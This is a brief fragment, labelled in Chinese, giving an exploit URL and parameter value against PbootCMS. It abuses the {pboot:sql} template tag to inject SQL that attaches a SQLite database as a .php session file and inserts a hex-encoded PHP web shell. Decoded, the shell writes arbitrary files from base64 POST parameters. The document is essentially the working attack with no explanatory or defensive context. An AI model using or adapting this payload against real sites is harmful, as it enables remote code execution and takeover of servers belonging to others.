URI地址

/?tag＝1123123123&aaa＝{pboot:sql{pboot:keyword}sql＝attach/*limit*/database/*limit*/‘./runtime/session/0/sess_0ai7h8tkomuo7j99v58an3knnh.php‘/**/as/**/‘a‘;}{/pboot:sql}&bbb＝{pboot:sql{pboot:keyword}sql＝create/*limit*/table/*limit*/a.tt(dataz/**/text);}{/pboot:sql}&ccc＝{pboot:sql{pboot:keyword}sql＝insert/**/INTO/**/a.tt/**/(dataz)/**/VALUES/*limit*/(X‘3C3F706870200A6572726F725F7265706F7274696E672830293B0A6563686F206D643528276F6B27293B0A66696C655F7075745F636F6E74656E7473286261736536345F6465636F646528245F504F53545B2766275D292C6261736536345F6465636F646528245F504F53545B2776275D29293B64696528293B3F3E‘);}{/pboot:sql}&keyword＝

传入值

aaa:{pboot:sql{pboot:keyword}sql＝attach/*limit*/database/*limit*/‘./runtime/session/0/sess_0ai7h8tkomuo7j99v58an3knnh.php‘/**/as/**/‘a‘;}{/pboot:sql}